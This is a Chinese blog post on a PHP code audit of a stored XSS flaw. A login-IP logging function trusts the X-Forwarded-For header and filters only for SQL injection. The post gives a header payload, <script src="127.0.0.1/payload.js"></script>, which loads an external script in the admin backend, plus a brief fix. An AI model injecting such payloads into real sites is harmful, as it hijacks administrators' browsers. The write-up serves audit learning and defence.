1. 程式人生 > >PHP代碼審計之XSS操作

PHP代碼審計之XSS操作

抓包 one 代碼審計 持久 服務器 跨站 頁面 驗證 bubuko

XSS

XSS是Cross Site Scripting(跨站腳本攻擊), 它與sql註入攻擊類似,SQL註入攻擊中以SQL語句作為用戶輸入,從而達到查詢/修改/刪除的目的,而在XSS攻擊中,通過插入惡意腳本,實現對用戶瀏覽器的控制.

XSS攻擊的種類

xss攻擊可以分為兩種類型.:

        1.  非持久型攻擊:非持久型攻擊也就是一次性攻擊,僅對當前的頁面訪問產生影響.
        2. 持久型攻擊 : 持久性xss會把攻擊者的數據存儲在服務器端,攻擊行為將伴隨著攻擊數據一直存在而存在.

源碼展示

技術分享圖片

代碼裏面並沒有對HTTP_CLIENT_IP 和HTTP_X_FORWARDER_FOR 這兩個參數做任何的限制, 也就代表著我們可以修改這兩個參數的值來達到任意ip的目的.

使用全局搜素看下這個函數在哪個地方應用,

通過全局搜素得知,其主要應用為在登錄的時候記錄登錄ip,經過sqlwaf過濾,賦值給ip變量.sqlwaf前面已經看過了 只是過濾了sql註入 ,並沒有對xss進行過濾.

技術分享圖片

確定可以進行xss註入之後, 使用全局搜索,看哪裏使用了這個字段進行輸出.

技術分享圖片

驗證漏洞

準備payload,你可以放到你的網站,也可以放到你本地,只要能請求到就行

技術分享圖片

使用burp抓包工具,在提交登錄的時候把HTTP_X_FORWARDER_FOR的值手動修改為 <script src="127.0.0.1/payload.js"></script>

過程就不截圖了.打開數據庫 看下記錄的結果.

技術分享圖片

登錄後查看後臺,可以看到代碼被成功加載了

技術分享圖片

修復方案

個人認為sql註入和xss攻擊本身就不是一類,用同一個方法來過濾,已經是不合理了.

應使用專門的函數對xss進行過濾,如script,Script,ssccrript等一切能出現的組合,編碼後的組合等

PHP代碼審計之XSS操作